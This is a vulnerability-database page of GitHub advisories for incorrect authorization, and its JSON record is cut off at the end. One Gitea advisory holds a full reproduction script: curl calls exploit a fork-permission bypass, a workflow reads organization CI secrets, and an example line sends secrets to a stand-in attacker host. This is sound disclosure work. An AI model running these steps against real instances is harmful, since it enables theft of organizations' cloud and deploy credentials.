Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5739 vulnerabilities reference this CWE, most recent first.

GHSA-FHJM-RPQJ-XM7M

Vulnerability from github – Published: 2026-07-02 15:32 – Updated: 2026-07-02 15:32
VLAI
Details

A malicious actor with access to the network and under certain conditions could exploit an Incorrect Authorization vulnerability found in UniFi Network Application to persist privileges within UniFi Network Application after such access had been removed.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-56842"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T15:17:07Z",
    "severity": "HIGH"
  },
  "details": "A malicious actor with access to the network and under certain conditions could exploit an Incorrect Authorization vulnerability found in UniFi Network Application to persist privileges within UniFi Network Application after such access had been removed.",
  "id": "GHSA-fhjm-rpqj-xm7m",
  "modified": "2026-07-02T15:32:14Z",
  "published": "2026-07-02T15:32:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56842"
    },
    {
      "type": "WEB",
      "url": "https://community.ui.com/releases/Security-Advisory-Bulletin-066-066/984eceb3-49c8-4227-942d-671c289b3afc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FHMJ-JV7W-VVG2

Vulnerability from github – Published: 2023-06-23 00:30 – Updated: 2023-06-23 00:30
VLAI
Details

Terraform Enterprise since v202207-1 did not properly implement authorization rules for agent pools, allowing the workspace to be targeted by unauthorized agents. This authorization flaw could potentially allow a workspace to access resources from a separate, higher-privileged workspace in the same organization that targeted an agent pool. This vulnerability, CVE-2023-3114, is fixed in Terraform Enterprise v202306-1.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-3114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-22T22:15:09Z",
    "severity": null
  },
  "details": "Terraform Enterprise since v202207-1 did not properly implement authorization rules for agent pools, allowing the workspace to be targeted by unauthorized agents. This authorization flaw could potentially allow a workspace to access resources from a separate, higher-privileged workspace in the same organization that targeted an agent pool. This vulnerability, CVE-2023-3114, is fixed in Terraform Enterprise v202306-1.",
  "id": "GHSA-fhmj-jv7w-vvg2",
  "modified": "2023-06-23T00:30:20Z",
  "published": "2023-06-23T00:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3114"
    },
    {
      "type": "WEB",
      "url": "https://discuss.hashicorp.com/t/hcsec-2023-18-terraform-enterprise-agent-pool-controls-allowed-unauthorized-workspaces-to-target-an-agent-pool/55329"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FHMX-CQXP-J8F6

Vulnerability from github – Published: 2023-12-05 03:30 – Updated: 2023-12-05 03:30
VLAI
Details

Memory corruption in Automotive OS whenever untrusted apps try to access HAb for graphics functionalities.

Severity
8.4 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-33071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-05T03:15:12Z",
    "severity": "HIGH"
  },
  "details": "Memory corruption in Automotive OS whenever untrusted apps try to access HAb for graphics functionalities.",
  "id": "GHSA-fhmx-cqxp-j8f6",
  "modified": "2023-12-05T03:30:22Z",
  "published": "2023-12-05T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33071"
    },
    {
      "type": "WEB",
      "url": "https://www.qualcomm.com/company/product-security/bulletins/december-2023-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FHPV-Q3GG-MGM5

Vulnerability from github – Published: 2022-04-29 00:00 – Updated: 2022-05-10 00:00
VLAI
Details

Lexmark products through 2022-02-10 have Incorrect Access Control.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-24935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-28T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "Lexmark products through 2022-02-10 have Incorrect Access Control.",
  "id": "GHSA-fhpv-q3gg-mgm5",
  "modified": "2022-05-10T00:00:37Z",
  "published": "2022-04-29T00:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24935"
    },
    {
      "type": "WEB",
      "url": "https://lexmark.com"
    },
    {
      "type": "WEB",
      "url": "https://publications.lexmark.com/publications/security-alerts/CVE-2022-24935.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FHRQ-2VR4-F65R

Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-05-24 19:12
VLAI
Details

Improper authorization in GitLab CE/EE affecting all versions since 13.0 allows guests in private projects to view CI/CD analytics

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-25T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Improper authorization in GitLab CE/EE affecting all versions since 13.0 allows guests in private projects to view CI/CD analytics",
  "id": "GHSA-fhrq-2vr4-f65r",
  "modified": "2022-05-24T19:12:10Z",
  "published": "2022-05-24T19:12:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22247"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1074326"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22247.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/299333"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-FHX7-M96W-MV29

Vulnerability from github – Published: 2026-06-17 18:08 – Updated: 2026-06-17 18:08
VLAI
Summary
Gitea: API Fork Missing CanCreateOrgRepo Check Allows Org Secret Exfiltration
Details

Summary

The API endpoint POST /api/v1/repos/{owner}/{repo}/forks only checks IsOrgMember() when a user forks a repository into an organization, but does not check CanCreateOrgRepo(). The web UI fork handler correctly checks both. This allows a read-only organization member — in a team with can_create_org_repo=false — to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.

Steps To Reproduce

1. Environment setup

Start a Gitea instance with Actions enabled:

# docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3'
services:
  gitea:
    image: gitea/gitea:1.23
    container_name: gitea-poc
    ports:
      - "3000:3000"
    volumes:
      - gitea-data:/data
    environment:
      - GITEA__database__DB_TYPE=sqlite3
      - GITEA__server__ROOT_URL=http://localhost:3000/
      - GITEA__security__INSTALL_LOCK=true
      - GITEA__actions__ENABLED=true
volumes:
  gitea-data:
EOF

docker compose up -d
# Wait for startup
sleep 15

# Create admin user
docker exec -u git gitea-poc gitea admin user create \
  --admin --username admin --password 'Admin1234!' \
  --email admin@example.com --must-change-password=false

2. Create the target environment (as admin)

# Get admin token
ADMIN_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/admin/tokens" \
  -u "admin:Admin1234!" -H "Content-Type: application/json" \
  -d '{"name": "setup", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")

# Create attacker user
curl -s -X POST "http://localhost:3000/api/v1/admin/users" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attacker123!","email":"attacker@example.com","must_change_password":false}'

# Create organization
curl -s -X POST "http://localhost:3000/api/v1/orgs" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"username":"target-org","visibility":"public"}'

# Create a source repository in the org
curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"source-repo","auto_init":true}'

# Create a read-only team with can_create_org_repo=false
TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

# Add attacker to the read-only team
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker" \
  -H "Authorization: token $ADMIN_TOKEN"

# Add source-repo to the team so attacker can read it
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo" \
  -H "Authorization: token $ADMIN_TOKEN"

# Create organization secrets (simulating real CI/CD credentials)
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"sk-live-test-deploy-key-1234567890abcd"}'

curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"AKIAIOSFODNN7EXAMPLE"}'

curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}'

3. Register an Actions runner

# Get runner registration token
REG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)

# Start act_runner (adjust network name if needed)
NETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}')
docker run -d --name act-runner --network "$NETWORK" \
  -e GITEA_INSTANCE_URL=http://gitea-poc:3000 \
  -e GITEA_RUNNER_REGISTRATION_TOKEN="$REG_TOKEN" \
  -e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \
  -v /var/run/docker.sock:/var/run/docker.sock \
  gitea/act_runner:latest

# Wait for runner registration
sleep 15

4. Verify attacker CANNOT create repos in the org (expected: 403)

# Get attacker token
ATTACKER_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/attacker/tokens" \
  -u "attacker:Attacker123!" -H "Content-Type: application/json" \
  -d '{"name": "poc", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")

# Try creating a repo directly — should fail
curl -s -o /dev/null -w "Direct repo creation: HTTP %{http_code}\n" \
  -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"should-fail","auto_init":true}'
# Expected output: Direct repo creation: HTTP 403

# Verify attacker cannot access org secrets via API
curl -s -o /dev/null -w "Access org secrets: HTTP %{http_code}\n" \
  "http://localhost:3000/api/v1/orgs/target-org/actions/secrets" \
  -H "Authorization: token $ATTACKER_TOKEN"
# Expected output: Access org secrets: HTTP 403

5. Exploit: Fork into the org via API (THE BYPASS)

# Fork the source repo into the org — this should also fail but doesn't
FORK_RESULT=$(curl -s -X POST \
  "http://localhost:3000/api/v1/repos/target-org/source-repo/forks" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"organization":"target-org","name":"evil-fork"}')

echo "$FORK_RESULT" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Fork created: {d[\"full_name\"]}')
print(f'Permissions: admin={d[\"permissions\"][\"admin\"]}, push={d[\"permissions\"][\"push\"]}')
"
# Expected output:
#   Fork created: target-org/evil-fork
#   Permissions: admin=True, push=True

The attacker now has admin+push access to an org-owned repository, despite being in a team with can_create_org_repo=false.

6. Enable Actions and push exfiltration workflow

# Enable Actions on the fork
curl -s -X PATCH "http://localhost:3000/api/v1/repos/target-org/evil-fork" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"has_actions":true}'

# Push a workflow that references org secrets
WORKFLOW=$(cat << 'WFEOF'
name: exfiltrate
on: [push]
jobs:
  steal:
    runs-on: ubuntu-latest
    steps:
      - name: Leak org secrets
        env:
          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
        run: |
          echo "=== SECRET EXFILTRATION ==="
          echo "DEPLOY_KEY length: ${#DEPLOY_KEY}"
          echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}"
          echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}"
          echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..."
          echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..."
          echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..."
          echo "=== END EXFILTRATION ==="
WFEOF
)

curl -s -X POST \
  "http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}"

7. Verify secret exfiltration

# Wait for the runner to execute the workflow (60-120 seconds)
sleep 90

# Check the Actions run page in browser or via API:
echo "View results at: http://localhost:3000/target-org/evil-fork/actions"

Expected output in the workflow logs:

=== SECRET EXFILTRATION ===
DEPLOY_KEY length: 37
AWS_ACCESS_KEY length: 20
AWS_SECRET_KEY length: 40
DEPLOY_KEY prefix: sk-l...
AWS_ACCESS_KEY prefix: AKIA...
AWS_SECRET_KEY prefix: wJal...
=== END EXFILTRATION ===

All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., curl -d "$SECRET" https://attacker.example.com/collect).

Impact

A read-only organization member — with no repository creation rights (can_create_org_repo=false) — can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the CanCreateOrgRepo permission, but the API does not, creating a classic API-vs-web authorization inconsistency.

The attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the CanCreateOrgRepo check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on repository.owner_id), and org secrets are injected into the workflow environment (fetched by Repo.OwnerID); (5) the workflow exfiltrates all org secrets.

Organization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.

This is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees — precisely the users who should NOT have access to production secrets.

Supporting Material/References

  • poc-fork-authz-bypass.zip — ZIP archive containing the full exploit script and README
  • Vulnerable code — API fork handler (missing CanCreateOrgRepo check): https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144
  • Correct code — Web fork handler (has CanCreateOrgRepo check): https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189
  • Runner task assignment (matches on owner_id): https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248
  • Secret injection (fetches by Repo.OwnerID): https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167
  • Fork creator gets admin permissions: https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440
  • Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability
  • OWASP API Security Top 10 2023: API5 — Broken Function Level Authorization
  • OWASP Top 10 2021: A01 — Broken Access Control

poc-fork-authz-bypass.zip

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22555"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T18:08:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe API endpoint `POST /api/v1/repos/{owner}/{repo}/forks` only checks `IsOrgMember()` when a user forks a repository into an organization, but does not check `CanCreateOrgRepo()`. The web UI fork handler correctly checks both. This allows a read-only organization member \u2014 in a team with `can_create_org_repo=false` \u2014 to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.\n\n## Steps To Reproduce\n\n### 1. Environment setup\n\nStart a Gitea instance with Actions enabled:\n\n```bash\n# docker-compose.yml\ncat \u003e docker-compose.yml \u003c\u003c \u0027EOF\u0027\nversion: \u00273\u0027\nservices:\n  gitea:\n    image: gitea/gitea:1.23\n    container_name: gitea-poc\n    ports:\n      - \"3000:3000\"\n    volumes:\n      - gitea-data:/data\n    environment:\n      - GITEA__database__DB_TYPE=sqlite3\n      - GITEA__server__ROOT_URL=http://localhost:3000/\n      - GITEA__security__INSTALL_LOCK=true\n      - GITEA__actions__ENABLED=true\nvolumes:\n  gitea-data:\nEOF\n\ndocker compose up -d\n# Wait for startup\nsleep 15\n\n# Create admin user\ndocker exec -u git gitea-poc gitea admin user create \\\n  --admin --username admin --password \u0027Admin1234!\u0027 \\\n  --email admin@example.com --must-change-password=false\n```\n\n### 2. Create the target environment (as admin)\n\n```bash\n# Get admin token\nADMIN_TOKEN=$(curl -s -X POST \"http://localhost:3000/api/v1/users/admin/tokens\" \\\n  -u \"admin:Admin1234!\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\": \"setup\", \"scopes\": [\"all\"]}\u0027 | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027sha1\u0027])\")\n\n# Create attacker user\ncurl -s -X POST \"http://localhost:3000/api/v1/admin/users\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"Attacker123!\",\"email\":\"attacker@example.com\",\"must_change_password\":false}\u0027\n\n# Create organization\ncurl -s -X POST \"http://localhost:3000/api/v1/orgs\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"target-org\",\"visibility\":\"public\"}\u0027\n\n# Create a source repository in the org\ncurl -s -X POST \"http://localhost:3000/api/v1/orgs/target-org/repos\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"source-repo\",\"auto_init\":true}\u0027\n\n# Create a read-only team with can_create_org_repo=false\nTEAM_ID=$(curl -s -X POST \"http://localhost:3000/api/v1/orgs/target-org/teams\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"readonly-team\",\"permission\":\"read\",\"can_create_org_repo\":false,\"units\":[\"repo.code\",\"repo.issues\"]}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027id\u0027])\")\n\n# Add attacker to the read-only team\ncurl -s -X PUT \"http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\"\n\n# Add source-repo to the team so attacker can read it\ncurl -s -X PUT \"http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\"\n\n# Create organization secrets (simulating real CI/CD credentials)\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"data\":\"sk-live-test-deploy-key-1234567890abcd\"}\u0027\n\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"data\":\"AKIAIOSFODNN7EXAMPLE\"}\u0027\n\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"data\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"}\u0027\n```\n\n### 3. Register an Actions runner\n\n```bash\n# Get runner registration token\nREG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)\n\n# Start act_runner (adjust network name if needed)\nNETWORK=$(docker inspect gitea-poc --format \u0027{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}\u0027)\ndocker run -d --name act-runner --network \"$NETWORK\" \\\n  -e GITEA_INSTANCE_URL=http://gitea-poc:3000 \\\n  -e GITEA_RUNNER_REGISTRATION_TOKEN=\"$REG_TOKEN\" \\\n  -e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \\\n  -v /var/run/docker.sock:/var/run/docker.sock \\\n  gitea/act_runner:latest\n\n# Wait for runner registration\nsleep 15\n```\n\n### 4. Verify attacker CANNOT create repos in the org (expected: 403)\n\n```bash\n# Get attacker token\nATTACKER_TOKEN=$(curl -s -X POST \"http://localhost:3000/api/v1/users/attacker/tokens\" \\\n  -u \"attacker:Attacker123!\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\": \"poc\", \"scopes\": [\"all\"]}\u0027 | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027sha1\u0027])\")\n\n# Try creating a repo directly \u2014 should fail\ncurl -s -o /dev/null -w \"Direct repo creation: HTTP %{http_code}\\n\" \\\n  -X POST \"http://localhost:3000/api/v1/orgs/target-org/repos\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"should-fail\",\"auto_init\":true}\u0027\n# Expected output: Direct repo creation: HTTP 403\n\n# Verify attacker cannot access org secrets via API\ncurl -s -o /dev/null -w \"Access org secrets: HTTP %{http_code}\\n\" \\\n  \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\"\n# Expected output: Access org secrets: HTTP 403\n```\n\n### 5. Exploit: Fork into the org via API (THE BYPASS)\n\n```bash\n# Fork the source repo into the org \u2014 this should also fail but doesn\u0027t\nFORK_RESULT=$(curl -s -X POST \\\n  \"http://localhost:3000/api/v1/repos/target-org/source-repo/forks\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"organization\":\"target-org\",\"name\":\"evil-fork\"}\u0027)\n\necho \"$FORK_RESULT\" | python3 -c \"\nimport sys,json\nd = json.load(sys.stdin)\nprint(f\u0027Fork created: {d[\\\"full_name\\\"]}\u0027)\nprint(f\u0027Permissions: admin={d[\\\"permissions\\\"][\\\"admin\\\"]}, push={d[\\\"permissions\\\"][\\\"push\\\"]}\u0027)\n\"\n# Expected output:\n#   Fork created: target-org/evil-fork\n#   Permissions: admin=True, push=True\n```\n\nThe attacker now has admin+push access to an org-owned repository, despite being in a team with `can_create_org_repo=false`.\n\n### 6. Enable Actions and push exfiltration workflow\n\n```bash\n# Enable Actions on the fork\ncurl -s -X PATCH \"http://localhost:3000/api/v1/repos/target-org/evil-fork\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"has_actions\":true}\u0027\n\n# Push a workflow that references org secrets\nWORKFLOW=$(cat \u003c\u003c \u0027WFEOF\u0027\nname: exfiltrate\non: [push]\njobs:\n  steal:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Leak org secrets\n        env:\n          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}\n          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}\n          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}\n        run: |\n          echo \"=== SECRET EXFILTRATION ===\"\n          echo \"DEPLOY_KEY length: ${#DEPLOY_KEY}\"\n          echo \"AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}\"\n          echo \"AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}\"\n          echo \"DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}...\"\n          echo \"AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}...\"\n          echo \"AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}...\"\n          echo \"=== END EXFILTRATION ===\"\nWFEOF\n)\n\ncurl -s -X POST \\\n  \"http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \"{\\\"content\\\":\\\"$(echo -n \"$WORKFLOW\" | base64 -w0)\\\",\\\"message\\\":\\\"add CI\\\"}\"\n```\n\n### 7. Verify secret exfiltration\n\n```bash\n# Wait for the runner to execute the workflow (60-120 seconds)\nsleep 90\n\n# Check the Actions run page in browser or via API:\necho \"View results at: http://localhost:3000/target-org/evil-fork/actions\"\n```\n\nExpected output in the workflow logs:\n```\n=== SECRET EXFILTRATION ===\nDEPLOY_KEY length: 37\nAWS_ACCESS_KEY length: 20\nAWS_SECRET_KEY length: 40\nDEPLOY_KEY prefix: sk-l...\nAWS_ACCESS_KEY prefix: AKIA...\nAWS_SECRET_KEY prefix: wJal...\n=== END EXFILTRATION ===\n```\n\nAll three organization-level secrets are accessible to the attacker\u0027s workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., `curl -d \"$SECRET\" https://attacker.example.com/collect`).\n\n## Impact\n\nA read-only organization member \u2014 with no repository creation rights (`can_create_org_repo=false`) \u2014 can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the `CanCreateOrgRepo` permission, but the API does not, creating a classic API-vs-web authorization inconsistency.\n\nThe attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the `CanCreateOrgRepo` check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org\u0027s runner picks up the job (runners match on `repository.owner_id`), and org secrets are injected into the workflow environment (fetched by `Repo.OwnerID`); (5) the workflow exfiltrates all org secrets.\n\nOrganization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization\u0027s trusted namespace, creating supply chain risk for downstream consumers.\n\nThis is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees \u2014 precisely the users who should NOT have access to production secrets.\n\n\n## Supporting Material/References\n\n  * **poc-fork-authz-bypass.zip** \u2014 ZIP archive containing the full exploit script and README\n  * Vulnerable code \u2014 API fork handler (missing `CanCreateOrgRepo` check):\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144\n  * Correct code \u2014 Web fork handler (has `CanCreateOrgRepo` check):\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189\n  * Runner task assignment (matches on `owner_id`):\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248\n  * Secret injection 